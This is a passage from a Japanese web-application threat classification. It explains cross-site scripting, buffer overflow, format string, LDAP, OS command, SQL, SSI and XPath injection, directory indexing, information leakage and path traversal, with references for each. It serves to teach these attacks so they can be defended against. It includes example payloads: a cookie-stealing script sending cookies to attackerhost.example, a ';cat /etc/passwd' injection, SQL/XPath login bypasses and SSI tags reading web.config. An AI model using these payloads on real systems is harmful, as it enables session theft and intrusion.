上記の例では、ユーザ名「Joe」が URL に記録されています。この結果、「ようこそ、Joe さん」というメッセージを Web ページに表示します。攻撃者が URL にあるユーザ名のフィールドを改ざんし、クッキーを盗む JavaScript を入れ込むと、そのユーザのアカウントを制御できるようになります。

大部分の方たちは、JavaScript が URL に組み込まれていると、怪しいと感じるでしょう。したがって攻撃者は、大部分は次の例のように、不正なデータを URL エンコードします。

クッキーを盗む URL の URL エンコードの例

```
http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
```

クッキーを盗む URL のデコードの例

```
http://portal.example/index.php?sessionid=12312312&username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>
```

参考文献

“CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”

<http://www.cert.org/advisories/CA-2000-02.html>

“The Cross Site Scripting FAQ” – CGI Security.com

<http://www.cgisecurity.com/articles/xss-faq.shtml>

“Cross Site Scripting Info”

<http://httpd.apache.org/info/css-security/>

“24 Character entity references in HTML 4”

<http://www.w3.org/TR/html4/sgml/entities.html>

“Understanding Malicious Content Mitigation for Web Developers”

http://www.cert.org/tech_tips/malicious_code_mitigation.html

“Cross-site Scripting: Are your web applications vulnerable?”, By Kevin Spett – SPI Dynamics

<http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf>

“Cross-site Scripting Explained”, By Amit Klein – Sanctum

http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf

“HTML Code Injection and Cross-site Scripting”, By Gunter Ollmann

<http://www.technicalinfo.net/papers/CSS.html>

4 コマンドの実行

このセクションでは、Web サイト上でリモートコマンドの実行を狙った攻撃について扱います。Web サイトはすべて、ユーザの入力を利用して要求をかなえています。動的な Web ページを作成するコマンドを組み立てるのに、ユーザの入力がよく使用されます。このプロセスが安全に実行されなければ、攻撃者はコマンドの実行を改ざんできてしまいます。

4.1 バッファオーバーフロー

バッファオーバーフローの悪用は、メモリの一部を上書きすることで、アプリケーションのフローを改ざんする攻撃です。バッファオーバーフローは、エラー状態に陥ることになる、よくあるソフトウェアの欠陥です。このエラー状態が発生するのは、確保したバッファサイズを超えてメモリにデータを書き込む時です。バッファがオーバーフローすると、隣り合ったメモリアドレスに上書きされ、ソフトウェアはフォールトもしくはクラッシュしてしまいます。

制限を設けないと、入念に作りこまれた入力がバッファをオーバーフローさせ、セキュリティ上たくさんの問題が発生します。

バッファオーバーフローは、メモリを汚してソフトウェアを機能させなくすると、サービス拒否攻撃としても利用できます。それよりも危険なのは、バッファオーバーフロー攻撃が、アプリケーションのフローを変え、意図していなかった処理をさせてしまうことです。この状況を起こす方法はいくつかあります。

バッファオーバーフローの脆弱性は、スタックポインタを上書きし、プログラムをリダイレクトして、不正な命令を実行してきました。

バッファオーバーフローは、プログラムの変数を変更するのにも使用されてきました。

バッファオーバーフローの脆弱性は、情報セキュリティ産業ではありふれたことで、たびたび Web サーバを困らせてきました。

しかし、Web アプリケーションレベルでは、そのようなことは普通には起こっていません。一番の理由は、攻撃者はアプリケーションのソースコードやソフトウェアのバイナリを解析する必要があるためです。攻撃者は、リモートシステムにあるカスタムコードを破らなければならないので、見境なく攻撃せざるを得なくなり、成功するのが非常に難しくなります。

バッファオーバーフローの脆弱性は、C と C++ のようなプログラミング言語でよく発生します。バッファオーバーフローは、CGI プログラムや Web ページが C プログラムにアクセスした時に発生します。

参考文献

*“Inside the Buffer Overflow Attack: Mechanism, Method and Prevention”,
By Mark E. Donaldson – GSEC*

http://www.sans.org/rr/code/inside_buffer.php

“w00w00 on Heap Overflows”, By Matt Conover – w00w00 Security Team

<http://www.w00w00.org/files/articles/heaptut.txt>

“Smashing The Stack For Fun And Profit”, By Aleph One – Phrack 49

<http://www.insecure.org/stf/smashstack.txt>

4.2 書式文字列攻撃

書式文字列攻撃は、別のメモリ空間にアクセスする文字列整形ライブラリの機能を使い、アプリケーションのフローを変更します。

脆弱性が発生するのは、ユーザから提供されたデータが、C や C++のある関数(たとえば、fprintf や printf、sprintf、setproctitle、syslog 等)用書式文字列の入力として、そのまま利用される場合です。

攻撃者が、printf の文字変換の書式文字列(たとえば、「%f」、「%p」、「%n」)をパラメタ値として Web アプリケーションへ渡すと、下記のようにになります。

- サーバ上で任意のコードを実行する。
- スタックから値を読み出す。
- セグメンテーションフォルトもしくはクラッシュさせる。

例

ある Web アプリケーションに、ユーザ指定の emailAddress パラメタがあるとします。アプリケーションは、この変数値を printf 関数を使って書き出します。

```
printf(emailAddress);
```

emailAddress パラメタに渡った値に変換文字が入っていると、printf は変換文字を解析し、さらに対応した引数を使用します。そのような引数が存在しなければ、printf 関数が想定する順序に従い、スタックからデータを使います。

このようなケースで考えられる書式文字列攻撃は、次の通りです。

- スタックからデータを読む: 攻撃者が printf 関数の出力文字を見られれば、変換文字の「%x」を(数回に渡って)送ることで、スタック上の値を読める。
- プロセスのメモリから文字列を読む: 攻撃者が printf 関数の出力を見られれば、変換文字の「%s」(特定の位置にたどり着くために、

他の変換文字を使う場合もある)を使い、メモリ上の任意の位置の文字列を読める。

- プロセスのメモリ上に整数値を書き込む: 攻撃者は「%n」変換文字を使い、メモリ上のどの位置にも整数値を書き込む。(たとえば、アクセス権限を制御しているプログラムの重要なフラグに上書きしたり、スタック上のリターンアドレスに上書きしたりする)。

参考文献

"(Maybe) the first publicly known Format Strings exploit"

<http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html>

"Analysis of format string bugs", By Andreas Thuemmel

<http://downloads.securityfocus.com/library/format-bug-analysis.pdf>

"Format string input validation error in wu-ftp site_exec() function"

<http://www.kb.cert.org/vuls/id/29823>

4.3 LDAP インジェクション

LDAP インジェクションは、ユーザの入力から LDAP 文を組み立て、Web サイトに打撃を与える攻撃技術です。

Lightweight Directory Access Protocol(LDAP)は、オープンな規格のプロトコルで、X.500 ディレクトリサービスに問い合わせ処理をします。LDAP プロトコルは、TCP のようなインターネット・トランスポート・プロトコルです。Web アプリケーションはユーザからの入力を使い、動的な Web ページリクエスト用にカスタム LDAP 文を作成します。

Web アプリケーションがユーザの入力を適切にサニタイズ(整形)できないと、攻撃者が LDAP 文を改ざんできるようになります。攻撃者が LDAP 文を修正できれば、プロセスはコマンドを実行しているコンポーネント(たとえば、データベースサーバや Web アプリケーションサーバ、Web サーバ等)と同じパーミッションで動作することになります。これは重大なセ

セキュリティ上の問題を起こします。そのパーミッションで、LDAP ツリーにある要素を問い合わせたり、修正したり、削除したりできるからです。

SQL インジェクションで利用できる高度な侵略技術は、LDAP インジェクションでも同じように悪用できます。

例

脆弱なコード(コメント付き)

```
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10:     userName =
Request.QueryString("user")
line 11:
line 12:     if( userName = "" ) then
line 13:         Response.Write("<b>Invalid
request. Please specify a
valid user name</b><br>")
line 14:         Response.End()
line 15:     end if
line 16:
line 17:
line 18:     filter = "(uid=" + CStr(userName) + ")"
' searching
for the user entry
line 19:
line 20:
line 21:     'Creating the LDAP object and setting
the base dn
line 22:     Set ldapObj =
```

```

Server.CreateObject("IPWorksASP.LDAP")
line 23:     ldapObj.ServerName = LDAP_SERVER
line 24:     ldapObj.DN =
"ou=people,dc=spilab,dc=com"
line 25:
line 26:     'Setting the search filter
line 27:     ldapObj.SearchFilter = filter
line 28:
line 29:     ldapObj.Search
line 30:
line 31:     'Showing the user information
line 32:     While ldapObj.NextResult = 1
line 33:         Response.Write("<p>")
line 34:
line 35:         Response.Write("<b><u>User
information for : " +
ldapObj.AttrValue(0) + "</u></b><br>")
line 36:         For i = 0 To ldapObj.AttrCount -1
line 37:             Response.Write("<b>" +
ldapObj.AttrType(i) +
"</b> : " + ldapObj.AttrValue(i) + "<br>" )
line 38:         Next
line 39:         Response.Write("</p>")
line 40:     Wend
line 41: %>
line 42: </body>
line 43: </html>

```

コードを見てみると、10行目に userName 変数が user パラメタで初期化され、すぐに値が空かどうかを検証しているのがわかります。値が空でなければ、userName は 18 行目で filter 変数を初期化します。この新たな変数は直接 LDAP クエリを組み立てるのに使われ、27 行目の SearchFilter を呼び出すのに使用されます。このやり方だと、攻撃者は LDAP サーバでの問い合わせを完全に制御できます。また、すべての結果と属性をユーザに表示する 32 から 40 行目のコードに入ると、問い合わせ結果を取得できます。

攻撃の例

http://example/ldapsearch.asp?user=*

上記の例は、user パラメタに「*」文字を送っています。このパラメタはコード中でフィルタ変数となり、(uid=*)で初期化されます。この LDAP 文により、サーバは uid 属性を含むオブジェクトならどのオブジェクトでも返すようになります。

参考文献

“LDAP Injection: Are Your Web Applications Vulnerable?”, By Sacha Faust – SPI Dynamics

<http://www.spidynamics.com/whitepapers/LDAPinjection.pdf>

“A String Representation of LDAP Search Filters”

<http://www.ietf.org/rfc/rfc1960.txt>

“Understanding LDAP”

<http://www.redbooks.ibm.com/redbooks/SG244986.html>

“LDAP Resources”

<http://ldapman.org/>

4.4 OS の命令

OS の命令は、アプリケーション入力の処理を通じて、オペレーティングシステムのコマンドを実行することにより、Web サイトに打撃を与える攻撃技術です。

ユーザの入力をアプリケーションで使用する前に、Web アプリケーションが適切にサニタイズしないと、アプリケーションがだまされ、OS のコマンドを実行させられるでしょう。実行されたコマンドは、コンポーネント(たと

例えば、データベースサーバや Web アプリケーションサーバ、Web サーバ等)と同じパーミッションで実行されます。

例

Perl は、データをあるプロセスからパイプ経由で open 文に渡せます。「|」(パイプ)文字をファイル名の最後に追加します。

パイプ文字の例

```
# Execute "/bin/ls" and pipe the output to the open statement
open(FILE, "/bin/ls|")
```

Web アプリケーションは、表示したり、テンプレートとして利用したりするファイルを、パラメタに指定する場合があります。Web アプリケーションがユーザからの入力を適切にサニタイズしないと、攻撃者はパラメタ値を変更し、パイプ文字(上記参照)にシェルコマンドを付けてしまうかもしれません。

Web アプリケーションの元々の URL が下記のようなら、

```
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt
```

template パラメタの値を変更することで、攻撃者は Web アプリケーションをだまし、/bin/ls コマンドを実行させてしまいます。

```
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
```

スクリプト言語の大部分は、プログラマがランタイムに OS のコマンドを様々な実行機能を使って実行できるようにしています。

Web アプリケーションが、ユーザの入力をはじめにサニタイズせずに関数呼び出しの中で使用させてしまうと、攻撃者はリモートで OS のコマンドを実行できるようになります。たとえば、ここに PHP スクリプトの一部があります。このスクリプトは(Unix システム上の)システムディレクトリの内容を表示します。

シェルコマンドの実行

```
exec("ls -la $dir",$lines,$rc);
```

OS のコマンドの後にセミコロン(;)を追加することで、Web アプリケーションに 2 番目のコマンドを実行させます。

<http://example/directory.php?dir=%3Bcat%20/etc/passwd>

これは/etc/passwd ファイルの内容を取り出すことになります。

参考文献

“Perl CGI Problems”, By RFP – Phrack Magazine, Issue 55

<http://www.wiretrip.net/rfp/txt/phrack55.txt>

(See “That pesky pipe” section)

“Marcus Xenakis directory.php Shell Command Execution Vulnerability”

<http://www.securityfocus.com/bid/4278>

“NCSA Secure Programming Guidelines”

<http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#cgi>

4.5 SQL インジェクション

SQL インジェクションは、ユーザの入力から SQL 文を組み立て、Web サイトに打撃を与える攻撃技術です。

Structured Query Language(SQL)は、データベースにクエリを送るのに特化したプログラミング言語です。小規模かつビジネス用に耐えられる強度を持ったデータベースアプリケーションの大部分は、SQL 文を使っ

てアクセスできます。SQL は ANSI と ISO 両方の規格になっています。しかし、SQL をサポートしているデータベース製品の多くは、標準言語に独自の拡張を施しています。Web アプリケーションは、ユーザからの入力を使い、動的な Web ページリクエスト用にカスタム SQL 文を作成します。

Web アプリケーションがユーザの入力を適切にサニタイズできないと、攻撃者がバックエンドの SQL 文の構成を改ざんできます。攻撃者が SQL 文を修正できれば、そのコマンドを実行するコンポーネント(データベースサーバ、Web アプリケーションサーバ、Web サーバ等)と同じパーミッションで実行されることとなります。この攻撃によって、攻撃者はデータベースの制御を掌握し、さらにシステム上でコマンドを実行できるようになります。

LDAP インジェクションで利用できる高度な侵略技術は、SQL インジェクションでも同じように適用できます。

例

Webベースの認証フォームが、次のようなコードになっているとします。

```
SQLQuery = "SELECT Username FROM Users WHERE  
Username = '" & strUsername & "' AND Password = '"  
& strPassword & "'" strAuthCheck =  
GetQueryResult(SQLQuery)
```

このコードでは、開発者はフォームからユーザの入力を受け取り、SQL クエリに直接組み込んでいます。

恐らく攻撃者は、下記のようにログインとパスワードを入れます。

```
Login: ' OR ''='  
Password: ' OR ''='
```

こうすると、SQL クエリは次のようになります。

```
SELECT Username FROM Users WHERE Username = '' OR
''='' AND Password = '' OR ''=''
```

ユーザが入力したデータと Users テーブルを比較せずに、このクエリは”(空文字列)と空文字列(”)を比較しています。これは真を返すことになり、攻撃者は Users テーブルの最初のユーザとしてログインすることになります。

SQLインジェクションには、良く知られた方法が2つあります。普通(Normal)のSQLインジェクションと見えない(Blind)SQLインジェクションです。普通のもは、基本的なSQLインジェクションで、攻撃者はレスポンス中にあるエラーメッセージに含まれている情報を使ってクエリを組み立て、開発者のクエリに自分のクエリを合わせます。

普通の SQL インジェクション

パラメタに union select 文を追加することで、攻撃者はデータベースにアクセスできるかどうかをテストします。

<http://example/article.asp?ID=2+union+all+select+name+from+sysobjects>

SQLサーバは次と似たようなエラーを返してくるでしょう。

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions in
their target lists.
```

このメッセージによって、攻撃者は自分のSQL文が動作するには、

正しいカラム番号を推測しなければいけない、と分かります。

見えないSQLインジェクション

見えない SQL インジェクションでは、サーバはデータベースのエラーを返さずに、利用者が間違ったと分かる分かりやすいエラーページを返します。この場合でも SQL インジェクションは可能ですが、簡単には発見できません。見えない SQL インジェクションを発見する一般的な方法は、真偽文をパラメタ値に入れることです。

Web サイトに下記のリクエストを実行してみると、

```
http://example/article.asp?ID=2+and+1=1
```

が、同じ Web ページを次のように返してくるはずですが、

```
http://example/article.asp?ID=2
```

なぜなら SQL 文の「and 1=1」は常に真だからです。

Web サイトに下記のリクエストを実行してみると、

```
http://example/article.asp?ID=2+and+1=0
```

Web サイトは親切なエラーを返すか、何もページを返してこないかです。これは SQL 文の「and 1=0」が常に偽だからです。

サイトが見えない SQL インジェクションにやられやすいと、攻撃者に一度分かってしまうと、この脆弱性はより簡単に悪用できます。場合によっては、普通の SQL インジェクションを利用するよりも簡単です。

参考文献

“SQL Injection: Are your Web Applications Vulnerable” – SPI Dynamics

<http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf>

“Blind SQL Injection: Are your Web Applications Vulnerable” – SPI Dynamics

http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf

“Advanced SQL Injection in SQL Server Applications”, Chris Anley – NGSSoftware

http://www.nextgenss.com/papers/advanced_sql_injection.pdf

“More advanced SQL Injection”, Chris Anley – NGSSoftware

http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

“Web Application Disassembly with ODBC Error Messages”, David Litchfield – @stake

<http://www.nextgenss.com/papers/webappdis.doc>

“SQL Injection Walkthrough”

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>

“Blind SQL Injection” – Imperva

http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html

“SQL Injection Signatures Evasion” – Imperva

http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html

“Introduction to SQL Injection Attacks for Oracle Developers” – Integrigy

<http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf>

4.6 SSI インジェクション

SSI(Server-side Include)インジェクションは、サーバ側に打撃を与える技術で、攻撃者が Web アプリケーションにコードを送り込めるようにし、送り込まれた後に Web サーバは、ローカルでコードを実行してしまいます。SSI インジェクションは、サーバ側で解釈された HTML ファイルに挿入する前に、Web アプリケーションがユーザの提供したデータのサニタイズに失敗することを悪用します。

HTML Web ページを表示する前に、Web サーバは SSI 文を解釈・実行してからユーザに Web ページを示します。ケース（たとえば、掲示板やゲストブック、コンテンツ管理システム）によっては、Web アプリケーションは、ユーザが提供したデータを Web ページのソースに挿入します。

攻撃者が SSI 文を提示すると、任意の OS コマンドを実行できるようになったり、次回ページを表示する時に、公開されていないファイルのコンテンツを入れたりする恐れがあります。

例

次の SSI タグは、攻撃者が Unix ベースのシステム上の root ディレクトリのリストを取得させてしまいます。

```
<!--#exec cmd="/bin/ls /" -->
```

下記の SSI タグは、攻撃者にデータベース接続文字列や.NET 用設定ファイルにある秘密データを取得させてしまいます。

```
<!--#INCLUDE VIRTUAL="/web.config"-->
```

参考文献

“*Server Side Includes (SSI)*” – NCSA HTTPd

<http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html>

“*Security Tips for Server Configuration*” – Apache HTTPD

http://httpd.apache.org/docs/misc/security_tips.html#ssi

“*Header Based Exploitation: Web Statistical Software Threats*” –
CGISecurity.com

<http://www.cgisecurity.net/papers/header-based-exploitation.txt>

“*A practical vulnerability analysis*”

http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.htm

4.7 XPath インジェクション

XPath インジェクションは、ユーザの入力から XPath を組み立てている Web サイトに打撃を与えるのに利用される攻撃技術です。

XPath 1.0 は、XML ドキュメント各部を参照するのに使われる言語です。XPath は、アプリケーションが直接利用し、XML ドキュメントに問い合わせを行ったり、より規模の大きい処理の一部として、たとえば XSLT 変換を XML ドキュメントにかけたり、XQuery を XML ドキュメントに適用したりするのに使われます。

XPath の文法は、SQL クエリと似たところがあり、実際 XPath を使って XML ドキュメントで SQL ライクなクエリを作れます。たとえば、user という要素名があり、そのそれぞれに 3 つの下位要素 -name、password、account- が存在する XML ドキュメントがあるとします。下記の XPath 表現は、name が「jsmith」で password が「Demo1234」というユーザのアカウント番号を表しています(そのようなユーザがいなければ空文字列)。

```
string(//user[name/text()='jsmith' and
password/text()='Demol234']/account/text())
```

アプリケーションが、ランタイムで XPath クエリを組み立て、安全ではないユーザの入力がクエリに入ると、攻撃者はデータをクエリに挿入できるでしょう。その新たに作成されたクエリは、プログラマが意図したものとは違う方法で解釈されます。

例

XPath を使って、XML ドキュメントの問い合わせをする Web アプリケーションを検討してみます。名前とパスワードはクライアントから受け取り、ユーザのアカウント番号を検索するとします。そのようなアプリケーションは、これらの値を直接 XPath クエリに組み込みこむと、それがセキュリティホールとなる恐れがあります。

下記が例です(Microsoft の ASP.NET と C#を想定します)

```
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
    // name+password pair is not found in the XML document
    -
    // login failed.
} else {
    // account found -> Login succeeded.
    // Proceed into the application.
}
```

このようなコードが使われると、攻撃者は XPath 表現を挿入できます。たとえば、ユーザ名として次の値を使います。

```
' or 1=1 or ''='
```

こうすることで、元の XPath の意味が変わり、常に XML ドキュメントの最初のアカウント番号を返すようになります。この場合クエリは下記のようにになります。

```
string(//user[name/text()=' ' or 1=1 or ''=' and password/text()='foobar']/account/text())
```

これは下記と同じです(すべてのノードの属性が真と評価されるので)。

```
string(//user/account/text())
```

//user/account/text()の最初のインスタンスが与えられます。

この攻撃の結果、攻撃者は(XML ドキュメントでリストされた最初のユーザとして)ログインすることになります。攻撃者は正式なユーザ名やパスワードを何も提示していないにもかかわらずです。

参考文献

"XML Path Language (XPath) Version 1.0" – W3C Recommendation, 16 Nov 1999

<http://www.w3.org/TR/xpath>

"Encoding a Taxonomy of Web Attacks with Different-Length Vectors" – G. Alvarez and S. Petrovic

http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf

"Blind XPath Injection" – Amit Klein

5 情報公開

このセクションでは、Web サイトのシステム固有情報の取得を狙った攻撃について解説します。システム固有情報には、ソフトウェアのディストリビューションやバージョン番号、パッチレベルなどがあります。もしくは、バックアップファイルやテンポラリファイルの場所についての情報も含まれるでしょう。たいていの場合、この情報公開がユーザのニーズを満たすのに必要なわけではありません。たいていの Web サイトは、ある程度のデータを見せています。しかし、できるだけこのデータを制限するのが最適です。攻撃者が Web サイトについて情報を知れば知るほど、システムはやられやすくなります。

5.1 ディレクトリの索引化(Directory Indexing)

自動的にディレクトリのリストを表示・索引化するのは、Web サーバの機能です。この機能は、リクエストがあったディレクトリに通常の基本ファイル(index.html/home.html/default.htm)がない場合、全ファイルをリスト化します。ユーザが Web サイトのメインページをリクエストする時、通常は <http://www.example> (ドメイン名を使用し、特定のファイルを入れない) のような URL を入力します。Web サーバはこのリクエストを処理し、ドキュメントルートディレクトリでデフォルトのファイル名を捜し、このページをクライアントへ送ります。このページが存在しなければ、Web サーバはディレクトリのリストを表示し、その出力をクライアントに送ります。基本的にこれは、「ls」(Unix)もしくは「dir」(Windows)コマンドをこのディレクトリで実行し、その結果を HTML フォームで表示するのと同じです。攻撃と対策の点からすると、不用意なディレクトリのリスト表示は、特定の Web リクエストと結びついたソフトウェアの脆弱性(後述のセクションで論じます)に起因している恐れがある、と認識することが大切です。

Web サーバがディレクトリの内容を見せると、公開を意図していない情報がそのリストに表示されているかもしれません。Web 管理者は、「無知によるセキュリティ(Security Through Obscurity)」に頼りがちです。ド

キュメントへのハイパーリンクがなければ発見されないだろう、誰もドキュメントを捜さないだろうと。この仮定は間違っています。Nikto のような最近の脆弱性スキャナーは、動的にディレクトリやファイルを追加し、はじめの探索から得たデータを元にしたスキャンを導入します。
/robots.txt を精査し、ディレクトリの索引の内容を見ることで、脆弱性スキャナーはこれら新しいデータを元に、さらに Web サーバに問い合わせができます。無害である可能性もありますが、ディレクトリの索引化は情報をリークし、システムに対するさらなる攻撃を仕掛けるのに必要な情報を、攻撃者へ提供することになるかもしれません。

例

下記は、ディレクトリの索引化データを元に取得できるかもしれない情報です。

- バックアップファイル - 拡張子が.bak や.old、.orig のもの。
- テンポラリファイル - 通常はサーバから取り除かれるが、何らかの理由でまだ利用できるもの。
- 隠しファイル - 「.」ピリオドではじまるファイル名。
- 慣習的な名前付け - 攻撃者は Web サイトで使われているディレクトリやファイルの命名規則を発見できるかもしれない。例：
Admin vs admin、backup vs back-up 等。
- ユーザアカウントを挙げる - Web サーバ上の個人ユーザのアカウントは、通常ユーザアカウントと同じ名前の home ディレクトリを持つ。
- 設定ファイルの内容 - .conf や.cfg、.config といった拡張子を持つ設定ファイルには、アクセス制御のデータが入っているかもしれない。
- スクリプトの内容 - Web サーバの大部分は、スクリプトを実行するのにスクリプトの置き場所(たとえば、/cgi-bin)を特定したり、サーバを設定して、ファイルのパーミッション(たとえば、*nix システムの実行ビットや Apache の XBitHack 命令)に基づいてファイルを実行しようとしたりする。これらのオプションによって、cgi-bin コンテンツのディレクトリが索引化されると、パーミッショ

ンが適切でない場合、スクリプトのコードをダウンロードし調査できてしまう。

意図していないディレクトリのリスト表示を、攻撃者が引き出す恐れのあるケースは 3 つあります。

- 1) 誤って Web サーバが設定され、ディレクトリが索引化される場合。Web 管理者が設定ファイルでディレクトリの索引化を設定していると、相乗効果でおかしくなるかもしれません。また、サーバの特定のサブディレクトリにディレクトリの索引化を認め、その他のディレクトリには認めない、というような複雑な設定をすると、望ましくない結果になる可能性があります。攻撃者の観点からすると、HTTP リクエストは前述のものと同じです。攻撃者はディレクトリをリクエストし、望んだコンテンツを受け取れるかどうかを見ます。攻撃者は、Web サーバがこのように設定されている「理由」に関心などありません。
- 2) Web サーバのコンポーネントには、設定ファイルでディレクトリの索引化を禁止していたり、インデックスファイルが存在していたりしても、索引化されてしまうものがあります。これはディレクトリ索引化を正当に「悪用する」唯一の例です。特定の HTTP リクエストを Web サーバに送ると、ディレクトリが索引化されてしまう脆弱性が、数え切れないほど存在してきました。
- 3) Google のキャッシュデータベースは、過去に特定の Web サイトをスキャンしたディレクトリの索引を、履歴データとして持っている恐れがあります。

参考文献

Directory Indexing Vulnerability Alerts

<http://www.securityfocus.com/bid/1063>

<http://www.securityfocus.com/bid/6721>

<http://www.securityfocus.com/bid/8898>

Nessus "Remote File Access" Plugin Web page

<http://cgi.nessus.org/plugins/dump.php3?family=Remote%20file%20access>

Web Site Indexer Tools

<http://www.download-freeware-shareware.com/Internet.php?Theme=112>

Intrusion Prevention for Web

<http://www.modsecurity.org>

Search Engines as a Security Threat

<http://it.korea.ac.kr/class/2002/software/Reading%20List/Search%20Engines%20as%20a%20Security%20Threat.pdf>

The Google Hacker's Guide

http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_Guide_v1.0.pdf

5.2 情報漏洩

情報漏洩は、Web サイトが開発者のコメントやエラーメッセージような秘密のデータを見せてしまう場合に発生し、システムに打撃を与える助けとなります。秘密のデータはHTMLのコメントやエラーメッセージ、ソースコードの中にあたりと、何気なく置いたままになっているかもしれません。Web サイトにこの種の情報をさらさせてしまう方法はたくさんあります。漏洩は必ずしもセキュリティ違反を示すものではありませんが、攻撃者が今後侵略する手がかりとして役立ちます。秘密情報の漏洩は、様々なレベルのリスクをはびこらせる恐れがあるので、できるだけ抑えるようにしてください。

情報漏洩の最初のケース(コードに残ったコメントや冗長なエラーメッセージ等)では、漏洩によって攻撃者がディレクトリ構成やSQLクエリの構成、Web サイトで使われている重要なプロセス名といった構成情報を得るでしょう。

これを見て分かるように、開発担当者や QA 担当者が残したコメントは、画像ファイルが現れない場合に何をすべきか、を示しています。コードに明示されている「VADER」というサーバのホスト名が、セキュリティ上の弱点になります。

冗長なエラーメッセージの例に、無効なクエリへのレスポンスがあります。顕著な例は、SQL クエリにまつわるエラーメッセージです。通常 SQL インジェクション攻撃は、攻撃者がそのサイトの SQL クエリの作成に使われている構成やフォーマットについての前提知識を持っている必要があります。冗長なエラーメッセージによって漏洩した情報は、バックエンドのデータベースの正しい SQL クエリはどうやって組み立てればよいのか、という極めて重要な情報を攻撃者に提供します。

下記に、ログインページにあるユーザ名へアポストロフィを入力した場合に返ってくる例を挙げます。

冗長なエラーメッセージ

```
An Error Has Occurred.  
Error Message:  
System.Data.OleDb.OleDbException:  
Syntax error  
(missing operator) in query expression  
'username = ''  
and password = 'g''. at  
System.Data.OleDb.OleDbCommand.  
ExecuteCommandTextErrorHandling ( Int32  
hr) at  
System.Data.OleDb.OleDbCommand.  
ExecuteCommandTextForSingleResult  
( tagDBPARAMS dbParams, Object&  
executeResult) at
```

最初のエラー文では、シンタックスエラーが報告されています。このエラーメッセージは、SQL クエリで使用されるクエリのパラメタ-username と password-を漏らしています。この漏洩した情報が、攻撃者にそのサイトに対する SQL インジェクション攻撃を組み立てるきっかけを与えます。

参考文献

“Best practices with custom error pages in .Net”, Microsoft Support
<http://support.microsoft.com/default.aspx?scid=kb;en-us;834452>

“Creating Custom ASP Error Pages”, Microsoft Support
<http://support.microsoft.com/default.aspx?scid=kb;en-us;224070>

“Apache Custom Error Pages”, Code Style
<http://www.codestyle.org/sitemanager/apache/errors-Custom.shtml>

“Customizing the Look of Error Messages in JSP”, DrewFalkman.com
<http://www.drewfalkman.com/resources/CustomErrorPages.cfm>

ColdFusion Custom Error Pages
http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion_MX_Applications_with_CFML/Errors6.htm

Obfuscators :

JAVA

<http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf>

5.3 パス乗り換え(Path Traversal)

パス乗り換え攻撃は、Web のドキュメントルートディレクトリの外にあると思われるファイルやディレクトリ、コマンドにアクセスしてしまう技術です。攻撃者は URL をいじって、Web サイトが Web サーバ上の任意のファイルの内容を実行したり、あらわにしたりするでしょう。HTTP ベースのイ

ンタフェースを公開しているデバイスは、パス乗り換えに脆弱である恐れがあります。

たいていの Web サイトは、ユーザのアクセスをファイルシステムの特定の部分に制限していて、通常その部分は「Web のドキュメントルート」もしくは「CGI ルート」ディレクトリと呼ばれています。このディレクトリにはユーザがアクセスし、Web アプリケーションを動かすのに必要なファイルが存在しています。

ファイルやコマンドがファイルシステム上のどこにあったとしても、それにアクセス・実行するため、パス乗り換え攻撃はスペシャルキャラクタの機能を利用します。

最も基本的なパス乗り換え攻撃は、「../」スペシャルキャラクタを使い、URL でリクエストされたリソースの位置を改ざんします。有名な Web サーバの大部分は、Web のドキュメントルートをエスケープすることにより、このテクニックを防御しています。しかし、「../」列を別の方法で符号化することで、セキュリティフィルタを通り抜けてしまうかもしれません。この方法は様々で、スラッシュ文字前の正しい・正しくない Unicode 符号化(“..%u2216”もしくは“..%c0%af”)、Windows ベースのサーバ上のバックスラッシュ(“..¥”)、URL 符号化文字(“%2e%2e%2f”)、バックスラッシュを 2 回 URL 符号化(“..%255c”)があります。

